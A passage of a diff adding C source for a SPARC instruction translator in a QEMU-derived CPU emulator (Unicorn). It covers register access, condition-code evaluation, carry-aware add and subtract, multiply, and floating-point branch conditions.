*tcg_ctx = dc->uc->tcg_ctx; + rd = QFPREG(rd); + rs = QFPREG(rs); + + tcg_gen_mov_i64(tcg_ctx, tcg_ctx->cpu_fpr[rd / 2], tcg_ctx->cpu_fpr[rs / 2]); + tcg_gen_mov_i64(tcg_ctx, tcg_ctx->cpu_fpr[rd / 2 + 1], tcg_ctx->cpu_fpr[rs / 2 + 1]); + gen_update_fprs_dirty(dc, rd); +} +#endif + +/* moves */ +#ifdef CONFIG_USER_ONLY +#define supervisor(dc) 0 +#ifdef TARGET_SPARC64 +#define hypervisor(dc) 0 +#endif +#else +#define supervisor(dc) (dc->mem_idx >= MMU_KERNEL_IDX) +#ifdef TARGET_SPARC64 +#define hypervisor(dc) (dc->mem_idx == MMU_HYPV_IDX) +#else +#endif +#endif + +#ifdef TARGET_SPARC64 +#ifndef TARGET_ABI32 +#define AM_CHECK(dc) ((dc)->address_mask_32bit) +#else +#define AM_CHECK(dc) (1) +#endif +#endif + +static inline void gen_address_mask(DisasContext *dc, TCGv addr) +{ +#ifdef TARGET_SPARC64 + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + if (AM_CHECK(dc)) + tcg_gen_andi_tl(tcg_ctx, addr, addr, 0xffffffffULL); +#endif +} + +static inline TCGv gen_load_gpr(DisasContext *dc, int reg) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + if (reg == 0 || reg >= 8) { + TCGv t = get_temp_tl(dc); + if (reg == 0) { + tcg_gen_movi_tl(tcg_ctx, t, 0); + } else { + tcg_gen_ld_tl(tcg_ctx, t, tcg_ctx->cpu_regwptr, (reg - 8) * sizeof(target_ulong)); + } + return t; + } else { + TCGv **cpu_gregs = (TCGv **)tcg_ctx->cpu_gregs; + return *cpu_gregs[reg]; + } +} + +static inline void gen_store_gpr(DisasContext *dc, int reg, TCGv v) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + if (reg > 0) { + if (reg < 8) { + TCGv **cpu_gregs = (TCGv **)tcg_ctx->cpu_gregs; + tcg_gen_mov_tl(tcg_ctx, *cpu_gregs[reg], v); + } else { + tcg_gen_st_tl(tcg_ctx, v, tcg_ctx->cpu_regwptr, (reg - 8) * sizeof(target_ulong)); + } + } +} + +static inline TCGv gen_dest_gpr(DisasContext *dc, int reg) +{ + if (reg == 0 || reg >= 8) { + return get_temp_tl(dc); + } else { + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv **cpu_gregs = (TCGv **)tcg_ctx->cpu_gregs; + return *cpu_gregs[reg]; + } +} + +static inline void gen_goto_tb(DisasContext *s, int tb_num, + target_ulong pc, target_ulong npc) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TranslationBlock *tb; + + tb = s->tb; + if ((pc & TARGET_PAGE_MASK) == (tb->pc & TARGET_PAGE_MASK) && + (npc & TARGET_PAGE_MASK) == (tb->pc & TARGET_PAGE_MASK) && + !s->singlestep) { + /* jump to same page: we can use a direct jump */ + tcg_gen_goto_tb(tcg_ctx, tb_num); + tcg_gen_movi_tl(tcg_ctx, *(TCGv *)tcg_ctx->sparc_cpu_pc, pc); + tcg_gen_movi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_npc, npc); + tcg_gen_exit_tb(tcg_ctx, (uintptr_t)tb + tb_num); + } else { + /* jump to another page: currently not optimized */ + tcg_gen_movi_tl(tcg_ctx, *(TCGv *)tcg_ctx->sparc_cpu_pc, pc); + tcg_gen_movi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_npc, npc); + tcg_gen_exit_tb(tcg_ctx, 0); + } +} + +// XXX suboptimal +static inline void gen_mov_reg_N(DisasContext *dc, TCGv reg, TCGv_i32 src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + + tcg_gen_extu_i32_tl(tcg_ctx, reg, src); + tcg_gen_shri_tl(tcg_ctx, reg, reg, PSR_NEG_SHIFT); + tcg_gen_andi_tl(tcg_ctx, reg, reg, 0x1); +} + +static inline void gen_mov_reg_Z(DisasContext *dc, TCGv reg, TCGv_i32 src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + + tcg_gen_extu_i32_tl(tcg_ctx, reg, src); + tcg_gen_shri_tl(tcg_ctx, reg, reg, PSR_ZERO_SHIFT); + tcg_gen_andi_tl(tcg_ctx, reg, reg, 0x1); +} + +static inline void gen_mov_reg_V(DisasContext *dc, TCGv reg, TCGv_i32 src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + + tcg_gen_extu_i32_tl(tcg_ctx, reg, src); + tcg_gen_shri_tl(tcg_ctx, reg, reg, PSR_OVF_SHIFT); + tcg_gen_andi_tl(tcg_ctx, reg, reg, 0x1); +} + +static inline void gen_mov_reg_C(DisasContext *dc, TCGv reg, TCGv_i32 src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + + tcg_gen_extu_i32_tl(tcg_ctx, reg, src); + tcg_gen_shri_tl(tcg_ctx, reg, reg, PSR_CARRY_SHIFT); + tcg_gen_andi_tl(tcg_ctx, reg, reg, 0x1); +} + +#if 0 +static inline void gen_op_addi_cc(DisasContext *dc, TCGv dst, TCGv src1, target_long src2) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src, src1); + tcg_gen_movi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src2, src2); + tcg_gen_addi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, *(TCGv *)tcg_ctx->cpu_cc_src, src2); + tcg_gen_mov_tl(tcg_ctx, dst, *(TCGv *)tcg_ctx->cpu_cc_dst); +} +#endif + +static inline void gen_op_add_cc(DisasContext *dc, TCGv dst, TCGv src1, TCGv src2) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src, src1); + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src2, src2); + tcg_gen_add_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, *(TCGv *)tcg_ctx->cpu_cc_src, *(TCGv *)tcg_ctx->cpu_cc_src2); + tcg_gen_mov_tl(tcg_ctx, dst, *(TCGv *)tcg_ctx->cpu_cc_dst); +} + +static TCGv_i32 gen_add32_carry32(DisasContext *dc) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 carry_32, cc_src1_32, cc_src2_32; + + /* Carry is computed from a previous add: (dst < src) */ +#if TARGET_LONG_BITS == 64 + cc_src1_32 = tcg_temp_new_i32(tcg_ctx); + cc_src2_32 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_i64_i32(tcg_ctx, cc_src1_32, *(TCGv *)tcg_ctx->cpu_cc_dst); + tcg_gen_trunc_i64_i32(tcg_ctx, cc_src2_32, *(TCGv *)tcg_ctx->cpu_cc_src); +#else + cc_src1_32 = *(TCGv *)tcg_ctx->cpu_cc_dst; + cc_src2_32 = *(TCGv *)tcg_ctx->cpu_cc_src; +#endif + + carry_32 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_setcond_i32(tcg_ctx, TCG_COND_LTU, carry_32, cc_src1_32, cc_src2_32); + +#if TARGET_LONG_BITS == 64 + tcg_temp_free_i32(tcg_ctx, cc_src1_32); + tcg_temp_free_i32(tcg_ctx, cc_src2_32); +#endif + + return carry_32; +} + +static TCGv_i32 gen_sub32_carry32(DisasContext *dc) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 carry_32, cc_src1_32, cc_src2_32; + + /* Carry is computed from a previous borrow: (src1 < src2) */ +#if TARGET_LONG_BITS == 64 + cc_src1_32 = tcg_temp_new_i32(tcg_ctx); + cc_src2_32 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_i64_i32(tcg_ctx, cc_src1_32, *(TCGv *)tcg_ctx->cpu_cc_src); + tcg_gen_trunc_i64_i32(tcg_ctx, cc_src2_32, *(TCGv *)tcg_ctx->cpu_cc_src2); +#else + cc_src1_32 = *(TCGv *)tcg_ctx->cpu_cc_src; + cc_src2_32 = *(TCGv *)tcg_ctx->cpu_cc_src2; +#endif + + carry_32 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_setcond_i32(tcg_ctx, TCG_COND_LTU, carry_32, cc_src1_32, cc_src2_32); + +#if TARGET_LONG_BITS == 64 + tcg_temp_free_i32(tcg_ctx, cc_src1_32); + tcg_temp_free_i32(tcg_ctx, cc_src2_32); +#endif + + return carry_32; +} + +static void gen_op_addx_int(DisasContext *dc, TCGv dst, TCGv src1, + TCGv src2, int update_cc) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 carry_32; + TCGv carry; + + switch (dc->cc_op) { + case CC_OP_DIV: + case CC_OP_LOGIC: + /* Carry is known to be zero. Fall back to plain ADD. */ + if (update_cc) { + gen_op_add_cc(dc, dst, src1, src2); + } else { + tcg_gen_add_tl(tcg_ctx, dst, src1, src2); + } + return; + + case CC_OP_ADD: + case CC_OP_TADD: + case CC_OP_TADDTV: + if (TARGET_LONG_BITS == 32) { + /* We can re-use the host's hardware carry generation by using + an ADD2 opcode. We discard the low part of the output. + Ideally we'd combine this operation with the add that + generated the carry in the first place. */ + carry = tcg_temp_new(tcg_ctx); + tcg_gen_add2_tl(tcg_ctx, carry, dst, *(TCGv *)tcg_ctx->cpu_cc_src, src1, *(TCGv *)tcg_ctx->cpu_cc_src2, src2); + tcg_temp_free(tcg_ctx, carry); + goto add_done; + } + carry_32 = gen_add32_carry32(dc); + break; + + case CC_OP_SUB: + case CC_OP_TSUB: + case CC_OP_TSUBTV: + carry_32 = gen_sub32_carry32(dc); + break; + + default: + /* We need external help to produce the carry. */ + carry_32 = tcg_temp_new_i32(tcg_ctx); + gen_helper_compute_C_icc(tcg_ctx, carry_32, tcg_ctx->cpu_env); + break; + } + +#if TARGET_LONG_BITS == 64 + carry = tcg_temp_new(tcg_ctx); + tcg_gen_extu_i32_i64(tcg_ctx, carry, carry_32); +#else + carry = carry_32; +#endif + + tcg_gen_add_tl(tcg_ctx, dst, src1, src2); + tcg_gen_add_tl(tcg_ctx, dst, dst, carry); + + tcg_temp_free_i32(tcg_ctx, carry_32); +#if TARGET_LONG_BITS == 64 + tcg_temp_free(tcg_ctx, carry); +#endif + + add_done: + if (update_cc) { + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src, src1); + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src2, src2); + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, dst); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_ADDX); + dc->cc_op = CC_OP_ADDX; + } +} + +#if 0 +static inline void gen_op_subi_cc(DisasContext *dc, TCGv dst, TCGv src1, target_long src2) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src, src1); + tcg_gen_movi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src2, src2); + if (src2 == 0) { + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, src1); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_LOGIC); + dc->cc_op = CC_OP_LOGIC; + } else { + tcg_gen_subi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, *(TCGv *)tcg_ctx->cpu_cc_src, src2); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_SUB); + dc->cc_op = CC_OP_SUB; + } + tcg_gen_mov_tl(tcg_ctx, dst, *(TCGv *)tcg_ctx->cpu_cc_dst); +} +#endif + +static inline void gen_op_sub_cc(DisasContext *dc, TCGv dst, TCGv src1, TCGv src2) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src, src1); + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src2, src2); + tcg_gen_sub_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, *(TCGv *)tcg_ctx->cpu_cc_src, *(TCGv *)tcg_ctx->cpu_cc_src2); + tcg_gen_mov_tl(tcg_ctx, dst, *(TCGv *)tcg_ctx->cpu_cc_dst); +} + +static void gen_op_subx_int(DisasContext *dc, TCGv dst, TCGv src1, + TCGv src2, int update_cc) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 carry_32; + TCGv carry; + + switch (dc->cc_op) { + case CC_OP_DIV: + case CC_OP_LOGIC: + /* Carry is known to be zero. Fall back to plain SUB. */ + if (update_cc) { + gen_op_sub_cc(dc, dst, src1, src2); + } else { + tcg_gen_sub_tl(tcg_ctx, dst, src1, src2); + } + return; + + case CC_OP_ADD: + case CC_OP_TADD: + case CC_OP_TADDTV: + carry_32 = gen_add32_carry32(dc); + break; + + case CC_OP_SUB: + case CC_OP_TSUB: + case CC_OP_TSUBTV: + if (TARGET_LONG_BITS == 32) { + /* We can re-use the host's hardware carry generation by using + a SUB2 opcode. We discard the low part of the output. + Ideally we'd combine this operation with the add that + generated the carry in the first place. */ + carry = tcg_temp_new(tcg_ctx); + tcg_gen_sub2_tl(tcg_ctx, carry, dst, *(TCGv *)tcg_ctx->cpu_cc_src, src1, *(TCGv *)tcg_ctx->cpu_cc_src2, src2); + tcg_temp_free(tcg_ctx, carry); + goto sub_done; + } + carry_32 = gen_sub32_carry32(dc); + break; + + default: + /* We need external help to produce the carry. */ + carry_32 = tcg_temp_new_i32(tcg_ctx); + gen_helper_compute_C_icc(tcg_ctx, carry_32, tcg_ctx->cpu_env); + break; + } + +#if TARGET_LONG_BITS == 64 + carry = tcg_temp_new(tcg_ctx); + tcg_gen_extu_i32_i64(tcg_ctx, carry, carry_32); +#else + carry = carry_32; +#endif + + tcg_gen_sub_tl(tcg_ctx, dst, src1, src2); + tcg_gen_sub_tl(tcg_ctx, dst, dst, carry); + + tcg_temp_free_i32(tcg_ctx, carry_32); +#if TARGET_LONG_BITS == 64 + tcg_temp_free(tcg_ctx, carry); +#endif + + sub_done: + if (update_cc) { + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src, src1); + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src2, src2); + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, dst); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_SUBX); + dc->cc_op = CC_OP_SUBX; + } +} + +static inline void gen_op_mulscc(DisasContext *dc, TCGv dst, TCGv src1, TCGv src2) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv r_temp, zero, t0; + + r_temp = tcg_temp_new(tcg_ctx); + t0 = tcg_temp_new(tcg_ctx); + + /* old op: + if (!(env->y & 1)) + T1 = 0; + */ + zero = tcg_const_tl(tcg_ctx, 0); + tcg_gen_andi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src, src1, 0xffffffff); + tcg_gen_andi_tl(tcg_ctx, r_temp, *(TCGv *)tcg_ctx->cpu_y, 0x1); + tcg_gen_andi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src2, src2, 0xffffffff); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_EQ, *(TCGv *)tcg_ctx->cpu_cc_src2, r_temp, zero, + zero, *(TCGv *)tcg_ctx->cpu_cc_src2); + tcg_temp_free(tcg_ctx, zero); + + // b2 = T0 & 1; + // env->y = (b2 << 31) | (env->y >> 1); + tcg_gen_andi_tl(tcg_ctx, r_temp, *(TCGv *)tcg_ctx->cpu_cc_src, 0x1); + tcg_gen_shli_tl(tcg_ctx, r_temp, r_temp, 31); + tcg_gen_shri_tl(tcg_ctx, t0, *(TCGv *)tcg_ctx->cpu_y, 1); + tcg_gen_andi_tl(tcg_ctx, t0, t0, 0x7fffffff); + tcg_gen_or_tl(tcg_ctx, t0, t0, r_temp); + tcg_gen_andi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_y, t0, 0xffffffff); + + // b1 = N ^ V; + gen_mov_reg_N(dc, t0, tcg_ctx->cpu_psr); + gen_mov_reg_V(dc, r_temp, tcg_ctx->cpu_psr); + tcg_gen_xor_tl(tcg_ctx, t0, t0, r_temp); + tcg_temp_free(tcg_ctx, r_temp); + + // T0 = (b1 << 31) | (T0 >> 1); + // src1 = T0; + tcg_gen_shli_tl(tcg_ctx, t0, t0, 31); + tcg_gen_shri_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src, *(TCGv *)tcg_ctx->cpu_cc_src, 1); + tcg_gen_or_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src, *(TCGv *)tcg_ctx->cpu_cc_src, t0); + tcg_temp_free(tcg_ctx, t0); + + tcg_gen_add_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, *(TCGv *)tcg_ctx->cpu_cc_src, *(TCGv *)tcg_ctx->cpu_cc_src2); + + tcg_gen_mov_tl(tcg_ctx, dst, *(TCGv *)tcg_ctx->cpu_cc_dst); +} + +static inline void gen_op_multiply(DisasContext *dc, TCGv dst, TCGv src1, TCGv src2, int sign_ext) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; +#if TARGET_LONG_BITS == 32 + if (sign_ext) { + tcg_gen_muls2_tl(tcg_ctx, dst, *(TCGv *)tcg_ctx->cpu_y, src1, src2); + } else { + tcg_gen_mulu2_tl(tcg_ctx, dst, *(TCGv *)tcg_ctx->cpu_y, src1, src2); + } +#else + TCGv t0 = tcg_temp_new_i64(tcg_ctx); + TCGv t1 = tcg_temp_new_i64(tcg_ctx); + + if (sign_ext) { + tcg_gen_ext32s_i64(tcg_ctx, t0, src1); + tcg_gen_ext32s_i64(tcg_ctx, t1, src2); + } else { + tcg_gen_ext32u_i64(tcg_ctx, t0, src1); + tcg_gen_ext32u_i64(tcg_ctx, t1, src2); + } + + tcg_gen_mul_i64(tcg_ctx, dst, t0, t1); + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); + + tcg_gen_shri_i64(tcg_ctx, *(TCGv *)tcg_ctx->cpu_y, dst, 32); +#endif +} + +static inline void gen_op_umul(DisasContext *dc, TCGv dst, TCGv src1, TCGv src2) +{ + /* zero-extend truncated operands before multiplication */ + gen_op_multiply(dc, dst, src1, src2, 0); +} + +static inline void gen_op_smul(DisasContext *dc, TCGv dst, TCGv src1, TCGv src2) +{ + /* sign-extend truncated operands before multiplication */ + gen_op_multiply(dc, dst, src1, src2, 1); +} + +// 1 +static inline void gen_op_eval_ba(DisasContext *dc, TCGv dst) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + tcg_gen_movi_tl(tcg_ctx, dst, 1); +} + +// Z +static inline void gen_op_eval_be(DisasContext *dc, TCGv dst, TCGv_i32 src) +{ + gen_mov_reg_Z(dc, dst, src); +} + +// Z | (N ^ V) +static inline void gen_op_eval_ble(DisasContext *dc, TCGv dst, TCGv_i32 src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + gen_mov_reg_N(dc, t0, src); + gen_mov_reg_V(dc, dst, src); + tcg_gen_xor_tl(tcg_ctx, dst, dst, t0); + gen_mov_reg_Z(dc, t0, src); + tcg_gen_or_tl(tcg_ctx, dst, dst, t0); + tcg_temp_free(tcg_ctx, t0); +} + +// N ^ V +static inline void gen_op_eval_bl(DisasContext *dc, TCGv dst, TCGv_i32 src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + gen_mov_reg_V(dc, t0, src); + gen_mov_reg_N(dc, dst, src); + tcg_gen_xor_tl(tcg_ctx, dst, dst, t0); + tcg_temp_free(tcg_ctx, t0); +} + +// C | Z +static inline void gen_op_eval_bleu(DisasContext *dc, TCGv dst, TCGv_i32 src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + gen_mov_reg_Z(dc, t0, src); + gen_mov_reg_C(dc, dst, src); + tcg_gen_or_tl(tcg_ctx, dst, dst, t0); + tcg_temp_free(tcg_ctx, t0); +} + +// C +static inline void gen_op_eval_bcs(DisasContext *dc, TCGv dst, TCGv_i32 src) +{ + gen_mov_reg_C(dc, dst, src); +} + +// V +static inline void gen_op_eval_bvs(DisasContext *dc, TCGv dst, TCGv_i32 src) +{ + gen_mov_reg_V(dc, dst, src); +} + +// 0 +static inline void gen_op_eval_bn(DisasContext *dc, TCGv dst) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + tcg_gen_movi_tl(tcg_ctx, dst, 0); +} + +// N +static inline void gen_op_eval_bneg(DisasContext *dc, TCGv dst, TCGv_i32 src) +{ + gen_mov_reg_N(dc, dst, src); +} + +// !Z +static inline void gen_op_eval_bne(DisasContext *dc, TCGv dst, TCGv_i32 src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_mov_reg_Z(dc, dst, src); + tcg_gen_xori_tl(tcg_ctx, dst, dst, 0x1); +} + +// !(Z | (N ^ V)) +static inline void gen_op_eval_bg(DisasContext *dc, TCGv dst, TCGv_i32 src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_op_eval_ble(dc, dst, src); + tcg_gen_xori_tl(tcg_ctx, dst, dst, 0x1); +} + +// !(N ^ V) +static inline void gen_op_eval_bge(DisasContext *dc, TCGv dst, TCGv_i32 src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_op_eval_bl(dc, dst, src); + tcg_gen_xori_tl(tcg_ctx, dst, dst, 0x1); +} + +// !(C | Z) +static inline void gen_op_eval_bgu(DisasContext *dc, TCGv dst, TCGv_i32 src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_op_eval_bleu(dc, dst, src); + tcg_gen_xori_tl(tcg_ctx, dst, dst, 0x1); +} + +// !C +static inline void gen_op_eval_bcc(DisasContext *dc, TCGv dst, TCGv_i32 src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_mov_reg_C(dc, dst, src); + tcg_gen_xori_tl(tcg_ctx, dst, dst, 0x1); +} + +// !N +static inline void gen_op_eval_bpos(DisasContext *dc, TCGv dst, TCGv_i32 src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_mov_reg_N(dc, dst, src); + tcg_gen_xori_tl(tcg_ctx, dst, dst, 0x1); +} + +// !V +static inline void gen_op_eval_bvc(DisasContext *dc, TCGv dst, TCGv_i32 src) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_mov_reg_V(dc, dst, src); + tcg_gen_xori_tl(tcg_ctx, dst, dst, 0x1); +} + +/* + FPSR bit field FCC1 | FCC0: + 0 = + 1 < + 2 > + 3 unordered +*/ +static inline void gen_mov_reg_FCC0(DisasContext *dc, TCGv reg, TCGv src, + unsigned int fcc_offset) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + tcg_gen_shri_tl(tcg_ctx, reg, src, FSR_FCC0_SHIFT + fcc_offset); + tcg_gen_andi_tl(tcg_ctx, reg, reg, 0x1); +} + +static inline void gen_mov_reg_FCC1(DisasContext *dc, TCGv reg, TCGv src, + unsigned int fcc_offset) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + tcg_gen_shri_tl(tcg_ctx, reg, src, FSR_FCC1_SHIFT + fcc_offset); + tcg_gen_andi_tl(tcg_ctx, reg, reg, 0x1); +} + +// !0: FCC0 | FCC1 +static inline void gen_op_eval_fbne(DisasContext *dc, TCGv dst, TCGv src, + unsigned int fcc_offset) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + gen_mov_reg_FCC0(dc, dst, src, fcc_offset); + gen_mov_reg_FCC1(dc, t0, src, fcc_offset); + tcg_gen_or_tl(tcg_ctx, dst, dst, t0); + tcg_temp_free(tcg_ctx, t0); +} + +// 1 or 2: FCC0 ^ FCC1 +static inline void gen_op_eval_fblg(DisasContext *dc, TCGv dst, TCGv src, + unsigned int fcc_offset) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + gen_mov_reg_FCC0(dc, dst, src, fcc_offset); + gen_mov_reg_FCC1(dc, t0, src, fcc_offset); + tcg_gen_xor_tl(tcg_ctx, dst, dst, t0); + tcg_temp_free(tcg_ctx, t0); +} + +// 1 or 3: FCC0 +static inline void gen_op_eval_fbul(DisasContext *dc, TCGv dst, TCGv src, + unsigned int fcc_offset) +{ + gen_mov_reg_FCC0(dc, dst, src, fcc_offset); +} + +// 1: FCC0 & !FCC1 +static inline void gen_op_eval_fbl(DisasContext *dc, TCGv dst, TCGv src, + unsigned int fcc_offset) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + gen_mov_reg_FCC0(dc, dst, src, fcc_offset); + gen_mov_reg_FCC1(dc, t0, src, fcc_offset); + tcg_gen_andc_tl(tcg_ctx, dst, dst, t0); + tcg_temp_free(tcg_ctx, t0); +} + +// 2 or 3: FCC1 +static inline void gen_op_eval_fbug(DisasContext *dc, TCGv dst, TCGv src, + unsigned int fcc_offset) +{ + gen_mov_reg_FCC1(dc, dst, src, fcc_offset); +} + +// 2: !FCC0 & FCC1 +static inline void gen_op_eval_fbg(DisasContext *dc, TCGv dst, TCGv src, + unsigned int fcc_offset) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + gen_mov_reg_FCC0(dc, dst, src, fcc_offset); + gen_mov_reg_FCC1(dc, t0, src, fcc_offset); + tcg_gen_andc_tl(tcg_ctx, dst, t0, dst); + tcg_temp_free(tcg_ctx, t0); +} + +// 3: FCC0 & FCC1 +static inline void gen_op_eval_fbu(DisasContext *dc, TCGv dst, TCGv src, + unsigned int fcc_offset) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + gen_mov_reg_FCC0(dc, dst, src, fcc_offset); + gen_mov_reg_FCC1(dc, t0, src, fcc_offset); + tcg_gen_and_tl(tcg_ctx, dst, dst, t0); + tcg_temp_free(tcg_ctx, t0); +} + +// 0: !(FCC0 | FCC1) +static inline void gen_op_eval_fbe(DisasContext *dc, TCGv dst, TCGv src, + unsigned int fcc_offset) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + gen_mov_reg_FCC0(dc, dst, src, fcc_offset); + gen_mov_reg_FCC1(dc, t0, src, fcc_offset); + tcg_gen_or_tl(tcg_ctx, dst, dst, t0); + tcg_gen_xori_tl(tcg_ctx, dst, dst, 0x1); + tcg_temp_free(tcg_ctx, t0); +} + +// 0 or 3: !(FCC0 ^ FCC1) +static inline void gen_op_eval_fbue(DisasContext *dc, TCGv dst, TCGv src, + unsigned int fcc_offset) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + gen_mov_reg_FCC0(dc, dst, src, fcc_offset); + gen_mov_reg_FCC1(dc, t0, src, fcc_offset); + tcg_gen_xor_tl(tcg_ctx, dst, dst, t0); + tcg_gen_xori_tl(tcg_ctx, dst, dst, 0x1); + tcg_temp_free(tcg_ctx, t0); +} + +// 0 or 2: !FCC0 +static inline void gen_op_eval_fbge(DisasContext *dc, TCGv dst, TCGv src, + unsigned int fcc_offset) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_mov_reg_FCC0(dc, dst, src, fcc_offset); + tcg_gen_xori_tl(tcg_ctx, dst, dst, 0x1); +} + +// !1: !(FCC0 & !FCC1) +static inline void gen_op_eval_fbuge(DisasContext *dc, TCGv dst, TCGv src, + unsigned int fcc_offset) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + gen_mov_reg_FCC0(dc, dst, src, fcc_offset); + gen_mov_reg_FCC1(dc, t0, src, fcc_offset); + tcg_gen_andc_tl(tcg_ctx, dst, dst, t0); + tcg_gen_xori_tl(tcg_ctx, dst, dst, 0x1); + tcg_temp_free(tcg_ctx, t0); +} + +// 0 or 1: !FCC1 +static inline void gen_op_eval_fble(DisasContext *dc, TCGv dst, TCGv src, + unsigned int fcc_offset) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_mov_reg_FCC1(dc, dst, src, fcc_offset); + tcg_gen_xori_tl(tcg_ctx, dst, dst, 0x1); +} + +// !2: !(!FCC0 & FCC1) +static inline void gen_op_eval_fbule(DisasContext *dc, TCGv dst, TCGv src, + unsigned int fcc_offset) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv t0 = tcg_temp_new(tcg_ctx); + gen_mov_reg_FCC0(dc, dst, src, fcc_offset); + gen_mov_reg_FCC1(dc, t0, src, fcc_offset); + tcg_gen_andc_tl(tcg_ctx, dst, t0, dst); + tcg_gen_xori_tl(tcg_ctx, dst, dst, 0x1); + tcg_temp_free(tcg_ctx, t0); +} + +// !3: !(FCC0 & FCC1) +static inline void gen_op_eval_fbo(DisasContext *dc, TCGv dst, TCGv src, + unsigned int 